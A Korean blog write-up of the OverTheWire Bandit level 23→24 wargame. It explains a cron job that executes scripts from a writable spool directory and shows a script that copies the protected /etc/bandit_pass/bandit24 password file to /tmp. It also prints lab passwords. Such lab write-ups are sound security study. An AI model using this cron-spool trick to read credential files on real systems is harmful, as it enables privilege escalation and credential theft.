OvertheWire:bandit:Level24

CTF수상까지...!!·2023년 11월 8일
0

OvertheWire:문제풀이

목록 보기
25/26

level23->level24

Level Goal

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

NOTE: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level!

NOTE 2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around…

QYw0Y2aiA672PsMmh9puTQuhoz8SyR2G

뭐 여기까지는 이전의 문제와 동일하다.

여기서 또 bash 스크립트가 나온다.

스크립트를 해석해보면, 우선 /var/spool/bandit23/foo 로 이동한다.

해당 디렉터리로 이동하여 그 안의 모든 스크립트 파일을 실행하고, stat 명령을 실행하여 각 파일의 소유자를 owner에 저장한다. owner 가 bandit23 일 경우 60초동안 실행된다. 60초가 초과되면 해당 스크립트를 삭제한다. owner가 bandit23이 아닐 경우에는 해당 스크립트 파일을 그냥 삭제한다.

cd /var/spool/ 에서 ls 명령을 실행하면 bandit24 가 존재한다.

따라서 myname에 이전 레벨과 마찬가지로 bandit24를 넣어 주어야 한다.

해당 파일에 나오는 /var/spool/bandit24/foo/은 현재 권한이 없는 상태이다.

풀이 아이디어.

  1. if [ “${owner}” = “bandit23” ]; 을 확인하면, 소유자가 bandit23인 소유자의 파일은 실행되고, 60초 후에 삭제된다.
  2. 그러면, cd /var/spool/bandit24/foo 에서 접근 권한은 없지만,
    drwxrwx-wx 36 root bandit24 4096 Nov 8 16:19 foo
    이기 때문에 foo 디렉토리에 파일을 넣는 것은 가능하고, bandit24 디렉토리의 모든 파일은 실행된다.
  3. 따라서 스크립트를 작성하여 해당 파일에 복사해 넣으면 /etc/bandit_pass/bandit24 의 파일을 얻을 수 있다.

문제 풀이.

먼저, 권한 문제가 있을 수 있으니

mkdir /tmp/name123 #디렉토리 생성

chmod 777 name123 #디렉토리에 권한 생성

cd name123

nano bandit24.sh

!#bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/name123/password

chmod 777 bandit24.sh

touch password

chmod 777 password

cp [bandit24.sh](http://bandit24.sh) /var/spool/bandit24/foo

이러고 cat password

그러면 /etc/bandit_pass/bandit24 가 password 에 복사된다.

비밀번호 : VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar

profile
보안 공부...내 공부...

0개의 댓글